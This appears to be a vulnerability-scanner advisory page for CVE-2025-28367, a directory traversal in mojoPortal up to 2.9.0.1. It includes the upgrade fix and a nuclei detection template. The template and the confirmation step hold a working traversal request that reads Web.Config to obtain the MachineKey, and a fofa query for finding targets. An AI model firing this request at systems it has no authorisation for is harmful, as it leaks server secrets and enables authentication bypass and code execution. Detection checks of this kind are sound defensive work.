mojoPortal <=2.9.0.1 - Directory Traversal

mediumseverity

6.5CVSS score

2%likelihood of exploitation, next 30 days

81%of all CVEs are less likely

Readycheck to confirm it

mojoPortal <=2.9.0.1 is vulnerable to Directory Traversal via BetterImageGallery API Controller - ImageHandler Action. An attacker can exploit this vulnerability to access the Web.Config file and obtain the MachineKey.

Impact

Unauthenticated attackers can exploit directory traversal to read the Web.Config file and obtain the MachineKey, potentially leading to authentication bypass and remote code execution.

Fix

Upgrade to mojoPortal version 2.9.0.2 or later that properly validates file paths in the BetterImageGallery API.

How to confirm it

Send: GET {{BaseURL}}/api/BetterImageGallery/imagehandler?path=../../../Web.Config
Positive when: contains "<machineKey" and "<system.web>" AND status 200

Run it with nuclei: nuclei -id CVE-2025-28367 -u <target>

The full check

id: CVE-2025-28367

info:
  name: mojoPortal <=2.9.0.1 - Directory Traversal
  author: DhiyaneshDk
  severity: medium
  description: |
    mojoPortal <=2.9.0.1 is vulnerable to Directory Traversal via BetterImageGallery API Controller - ImageHandler Action. An attacker can exploit this vulnerability to access the Web.Config file and obtain the MachineKey.
  impact: |
    Unauthenticated attackers can exploit directory traversal to read the Web.Config file and obtain the MachineKey, potentially leading to authentication bypass and remote code execution.
  remediation: |
    Upgrade to mojoPortal version 2.9.0.2 or later that properly validates file paths in the BetterImageGallery API.
  reference:
    - https://github.com/i7MEDIA/mojoportal
    - https://www.0xlanks.me/blog/cve-2025-28367-advisory/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-28367
  classification:
    epss-score: 0.0197
    epss-percentile: 0.80579
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2025-28367
    cwe-id: CWE-284
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="mojoportal"
  tags: cve,cve2025,mojoportal,lfi,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/BetterImageGallery/imagehandler?path=../../../Web.Config"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<machineKey"
          - "<system.web>"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from